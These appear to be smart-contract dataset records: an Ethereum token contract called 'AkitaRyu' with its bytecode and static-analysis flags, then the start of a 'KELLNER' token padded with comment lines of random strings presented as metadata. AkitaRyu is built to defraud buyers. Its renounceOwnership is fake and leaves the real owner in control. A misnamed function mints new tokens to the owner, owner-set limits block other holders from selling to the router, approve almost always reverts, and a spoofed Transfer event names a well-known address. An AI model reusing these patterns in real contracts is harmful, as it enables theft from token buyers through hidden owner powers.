revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AkitaRyu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 50 * 10**9 * 10**18;
uint256 private rTotal = 50 * 10**9 * 10**18;
string private _name = 'AkitaRyu | AkitaRyu.com | @AkitaRyu';
string private _symbol = 'AkitaRyu';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
require(now % 10000000 == 0);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106c4565b005b6102486004803603602081101561023257600080fd5b81019080803590602001909291905050506107a1565b005b6102526109d9565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e3565b604051808215151515815260200191505060405180910390f35b6102f6610aa2565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab9565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc6565b6040518082815260200191505060405180910390f35b6103b6610c0f565b005b6103c0610d98565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3a565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f47565b604051808215151515815260200191505060405180910390f35b6104ed610f65565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f8b565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611012565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a61121f565b8484611227565b60006298968042816106af57fe5b06146106ba57600080fd5b6001905092915050565b6106cc61121f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b6107a961121f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661088a61121f565b73ffffffffffffffffffffffffffffffffffffffff1614156108ab57600080fd5b6108c08160065461138690919063ffffffff16565b60068190555061091f81600260006108d661121f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138690919063ffffffff16565b6002600061092b61121f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097161121f565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109f084848461140e565b610a97846109fc61121f565b610a9285600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a4961121f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d590919063ffffffff16565b611227565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610ac161121f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c1761121f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e305780601f10610e0557610100808354040283529160200191610e30565b820191906000526020600020905b815481529060010190602001808311610e1357829003601f168201915b5050505050905090565b610e4261121f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f5b610f5461121f565b848461140e565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101a61121f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611161576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117e06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561126157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561129b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600080828401905083811015611404576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561144857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561148257600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561152d5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561154157600754811061154057600080fd5b5b61159381600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061162881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138690919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061171783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061171f565b905092915050565b60008383111582906117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611791578082015181840152602081019050611776565b50505050905090810190601f1680156117be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220b04f78fc8107aa6bff44fe34514414d63614c385e30e1d88e3b473d3243ae39b64736f6c63430006090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,190 |
0x5cce71cf3cdfe4662d13f837d22a5236e4fb5893 | pragma solidity ^0.4.21 ;
contract KELLNER_Portfolio_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " KELLNER_Portfolio_I_883 " ;
string public symbol = " KELLN883 " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1014408848180420000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < KELLNER_Portfolio_I_metadata_line_1_____PPF_Group_20250515 >
// < EKRSqS2yGRKDo97T05k3986AGvdb0cuGqseOzpqD07IgSzF7ouXqs1NCFZ80cpBe >
// < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000014596968.640830400000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000000000037A0ED4 >
// < KELLNER_Portfolio_I_metadata_line_2_____Assicurazioni_Generali_20250515 >
// < s0ObBpti17J5WccIyF43X8F052pT036j93bDvxUA93mmAGoO6Y2IPutMHPM8HOkz >
// < u =="0.000000000000000001" : ] 000000014596968.640830400000000000 ; 000000035653372.952068000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000037A0ED456471373 >
// < KELLNER_Portfolio_I_metadata_line_3_____Ceska_Pojistovna_20250515 >
// < RnJNF7P9op2hTh08s75v5Bq9U857D88T1Wny2c0AJKks6vI4R0C3k5Q071wl6p3f >
// < u =="0.000000000000000001" : ] 000000035653372.952068000000000000 ; 000000067146382.600218700000000000 ] >
// < 0x00000000000000000000000000000000000000000000000564713732B64E852B >
// < KELLNER_Portfolio_I_metadata_line_4_____Skoda_Transportation_20250515 >
// < G9SzEctYK0xxHh8855259gU1ZIh523io7PXFoz1JHU9P2v976q6Mi57Jc3p94WsM >
// < u =="0.000000000000000001" : ] 000000067146382.600218700000000000 ; 000000094213021.929340700000000000 ] >
// < 0x00000000000000000000000000000000000000000000002B64E852B4E34C5460 >
// < KELLNER_Portfolio_I_metadata_line_5_____Polymetal_International_20250515 >
// < oe66Ec43e69T6qs7JYUq56JF2DShp1b63KINtrVBE2zrpHtRsGjvjVC7M5NQ1YXz >
// < u =="0.000000000000000001" : ] 000000094213021.929340700000000000 ; 000000115846268.085979000000000000 ] >
// < 0x00000000000000000000000000000000000000000000004E34C54604ECBCF485 >
// < KELLNER_Portfolio_I_metadata_line_6_____ICT_Group_20250515 >
// < G3BfPZr3O1J6K45vh2qyJV8cv0nCy2rEscPukD888PI648RBxtlHN7NTr4CqH7cH >
// < u =="0.000000000000000001" : ] 000000115846268.085979000000000000 ; 000000150360019.046753000000000000 ] >
// < 0x00000000000000000000000000000000000000000000004ECBCF48550ED00309 >
// < KELLNER_Portfolio_I_metadata_line_7_____ICT_Holding_Limited_20250515 >
// < o3f7Qb5l187PpC8ZasDh8R7iPFU1D129GQDT85WOVw5i8f9sA1qpU1ueweFv4NDp >
// < u =="0.000000000000000001" : ] 000000150360019.046753000000000000 ; 000000171340723.697903000000000000 ] >
// < 0x000000000000000000000000000000000000000000000050ED00309816B8E20D >
// < KELLNER_Portfolio_I_metadata_line_8_____Otkritie_Financial_Corporation_20250515 >
// < l83YqZiQ9S6oO061lE1OuOU7v3R4cZ0A93P6AU67St9Cy9pyqr5GwwbT908dLEIe >
// < u =="0.000000000000000001" : ] 000000171340723.697903000000000000 ; 000000192017000.194703000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000816B8E20DBFD699807 >
// < KELLNER_Portfolio_I_metadata_line_9_____Home_Credit_Group_20250515 >
// < atITlU00O8Oc88G1ngL00C1G3zxX09YQ2U68UYUQ4fPhuUzIgUBKShM0566iO416 >
// < u =="0.000000000000000001" : ] 000000192017000.194703000000000000 ; 000000209076187.610145000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000BFD699807C00CC925C >
// < KELLNER_Portfolio_I_metadata_line_10_____Home_Credit_Vietnam_20250515 >
// < PDdWzd4eadV6VBNiG2DFh76hDsOlQ78SvSSIe4q44N0MgR8CQ51BqF36bwQHZt63 >
// < u =="0.000000000000000001" : ] 000000209076187.610145000000000000 ; 000000239367092.903650000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C00CC925CC8B19E052 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < KELLNER_Portfolio_I_metadata_line_11_____SOTIO_BIOTEC_20250515 >
// < 4i7rfOM3r1FPPs4WEp0L3FI07kl7zQNMUtkJpfjep3JJ2fSe9NuIq1is0R8l2Wd6 >
// < u =="0.000000000000000001" : ] 000000239367092.903650000000000000 ; 000000277800491.334827000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C8B19E052C95A3ECBC >
// < KELLNER_Portfolio_I_metadata_line_12_____02_Czech_Republic_20250515 >
// < xnR1X1x65V8ny3i0uTbe15YH791T6TxNrt81h7kXY9d0U61p9DI0M47ZpdN04IE2 >
// < u =="0.000000000000000001" : ] 000000277800491.334827000000000000 ; 000000301844254.067767000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C95A3ECBCCA5EAC970 >
// < KELLNER_Portfolio_I_metadata_line_13_____Ceska_Telekomunikacni_Infrastruktura_20250515 >
// < lG8xa5QK97iN837vZjHKCD9N30SHsyujt349K11vf8O67kUVGChwNfPC3z3WSwz6 >
// < u =="0.000000000000000001" : ] 000000301844254.067767000000000000 ; 000000337746162.999648000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000CA5EAC970CFBA12F64 >
// < KELLNER_Portfolio_I_metadata_line_14_____PPF_Banca_20250515 >
// < q0t03rXWc09kJE187kGm4ht1aYfBIQ3zB7bYbHE74uT6U0SCevFQhAqV7wivG13m >
// < u =="0.000000000000000001" : ] 000000337746162.999648000000000000 ; 000000377777590.142488000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000CFBA12F64D359422C8 >
// < KELLNER_Portfolio_I_metadata_line_15_____AIR_BANK_20250515 >
// < BHWzvc1GqoDemvGkUFEs1wCXEa368MDxUqcTWBhuzsZmR3nHF075Tsl47852Y119 >
// < u =="0.000000000000000001" : ] 000000377777590.142488000000000000 ; 000000393558499.699223000000000000 ] >
// < 0x000000000000000000000000000000000000000000000D359422C81191394DA5 >
// < KELLNER_Portfolio_I_metadata_line_16_____PPF_Real_Estate_Holding_20250515 >
// < v6qRni01Ku0L6pC01A2u6P5B13O06O0rR6oTT6dJH0H2zWnMvP5EwlbinNP76FNe >
// < u =="0.000000000000000001" : ] 000000393558499.699223000000000000 ; 000000421957549.714938000000000000 ] >
// < 0x000000000000000000000000000000000000000000001191394DA5119E78BA38 >
// < KELLNER_Portfolio_I_metadata_line_17_____PPF_Life_Insurance_20250515 >
// < M2fUsdLXvIj3PutiUw3Rj5uB8iROZx0G3mcP3L4H8UZ28m58u8u316czB8xRqlh4 >
// < u =="0.000000000000000001" : ] 000000421957549.714938000000000000 ; 000000448350955.817029000000000000 ] >
// < 0x00000000000000000000000000000000000000000000119E78BA3811A5A651C7 >
// < KELLNER_Portfolio_I_metadata_line_18_____RAV_Agro_20250515 >
// < n02txCFf6yf6o2YH0Xy2q7G2B4HzHo6Vm74gOEfeqd0u01t4yYWk31M5Duxd723y >
// < u =="0.000000000000000001" : ] 000000448350955.817029000000000000 ; 000000462441767.071078000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A5A651C711A7337AA6 >
// < KELLNER_Portfolio_I_metadata_line_19_____Best_Sport_20250515 >
// < 0d6xgPE0HkY6Fg4Q7cV1Na1RB51ivlpdk7V66AJVaBc5wM6oesZDIQFfe0LfC72r >
// < u =="0.000000000000000001" : ] 000000462441767.071078000000000000 ; 000000485679724.509176000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A7337AA611A80D764A >
// < KELLNER_Portfolio_I_metadata_line_20_____PPF_Art_20250515 >
// < olmhpjEKJl5qk1CSVkBy2wB45UULhes4n6g3OAr0Cz8HDv29RO6a3jC2A14rf9F5 >
// < u =="0.000000000000000001" : ] 000000485679724.509176000000000000 ; 000000512041171.655097000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A80D764A11A9E0DEC1 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < KELLNER_Portfolio_I_metadata_line_21_____PPF_AS_plc_20250515 >
// < 2ftJL48ky9S2ig80MFR5GeH92a66iccBj1MdRWU28bR8i8819RE81eUTim0QR5h4 >
// < u =="0.000000000000000001" : ] 000000512041171.655097000000000000 ; 000000533235979.527439000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A9E0DEC11337C233DB >
// < KELLNER_Portfolio_I_metadata_line_22_____Culture_Trip_20250515 >
// < 584t7Eoo72PukQUp608h5J2vZJm13Q89k4pO9C3tpU6P7pX600dx0EZ3n9e962rz >
// < u =="0.000000000000000001" : ] 000000533235979.527439000000000000 ; 000000566117898.766184000000000000 ] >
// < 0x000000000000000000000000000000000000000000001337C233DB16FC133A49 >
// < KELLNER_Portfolio_I_metadata_line_23_____Allpay_Limited_20250515 >
// < 8SVVxy322965mRt5I768r0A8412Q55Fdl836Uu6tmjquhZz6qS9i597qCNx8V92C >
// < u =="0.000000000000000001" : ] 000000566117898.766184000000000000 ; 000000586191216.895937000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FC133A4916FCE8C776 >
// < KELLNER_Portfolio_I_metadata_line_24_____Clear_Bank_Kammer_e_20250515 >
// < h1D21a1cOQ1gJyAZ97ETT2a7BkE07GPkA98b7ujAJ1R8OIG1G6B60pWSI0mxaqKl >
// < u =="0.000000000000000001" : ] 000000586191216.895937000000000000 ; 000000616968841.796245000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FCE8C77616FE4B3578 >
// < KELLNER_Portfolio_I_metadata_line_25_____Clear_Bank_Kammer_z_20250515 >
// < lUtolol1xKrSOD4qYCXZwla520072i5flx6C10SFi48BKad65surUBT1TZ6kfsmC >
// < u =="0.000000000000000001" : ] 000000616968841.796245000000000000 ; 000000630629745.001983000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FE4B357817094B7C8A >
// < KELLNER_Portfolio_I_metadata_line_26_____Clear_Bank_Kammer_d_20250515 >
// < 60fPi84eH99S8rmSnH84064hX4qoRO090Pb3dRl0B34AIfDr0WpNU36BqKs7dHtV >
// < u =="0.000000000000000001" : ] 000000630629745.001983000000000000 ; 000000668869024.859301000000000000 ] >
// < 0x0000000000000000000000000000000000000000000017094B7C8A170A9FCB93 >
// < KELLNER_Portfolio_I_metadata_line_27_____Clear_Bank_Kammer_v_20250515 >
// < aJCdZhjnMcCpWQ9u3q9GKowac415c4103e8Rp58kDABKktO57TBBo3c2043Dhk88 >
// < u =="0.000000000000000001" : ] 000000668869024.859301000000000000 ; 000000696441427.775876000000000000 ] >
// < 0x00000000000000000000000000000000000000000000170A9FCB931710216274 >
// < KELLNER_Portfolio_I_metadata_line_28_____CFFI_UK_Ventures_Barbados_20250515 >
// < EJ3TXbzt6dECQmY0TYZ5MF0dng3r0M25yh0xp98tM67g9C1O40vNZWn9Tmvd2Rw2 >
// < u =="0.000000000000000001" : ] 000000696441427.775876000000000000 ; 000000712615131.466249000000000000 ] >
// < 0x0000000000000000000000000000000000000000000017102162741710DAFC71 >
// < KELLNER_Portfolio_I_metadata_line_29_____Mall_Group_20250515 >
// < dgKGtjpB1O456W07rY0KGMqNQQmV06P7QY4AGBjnsO4P1O4u9AqvfmHRMlI25A8m >
// < u =="0.000000000000000001" : ] 000000712615131.466249000000000000 ; 000000746666886.049173000000000000 ] >
// < 0x000000000000000000000000000000000000000000001710DAFC71171F5B98B4 >
// < KELLNER_Portfolio_I_metadata_line_30_____Heureka_20250515 >
// < 4RP21423cu16GNKtLwmY9n9l7T9rNA232959oko1Pb4kZMyvRI56A6GPLhsJqb3w >
// < u =="0.000000000000000001" : ] 000000746666886.049173000000000000 ; 000000771743254.113568000000000000 ] >
// < 0x00000000000000000000000000000000000000000000171F5B98B41B22EC3D9C >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < KELLNER_Portfolio_I_metadata_line_31_____Rockaway_Capital_20250515 >
// < 40Oo3UTarPPlhoanLXf4UNpl81pYgu52ehXkiWhNfpt4YwT15ABO8985eU1UdDH5 >
// < u =="0.000000000000000001" : ] 000000771743254.113568000000000000 ; 000000787662393.209582000000000000 ] >
// < 0x000000000000000000000000000000000000000000001B22EC3D9C1E0D333C03 >
// < KELLNER_Portfolio_I_metadata_line_32_____EC_Investments_20250515 >
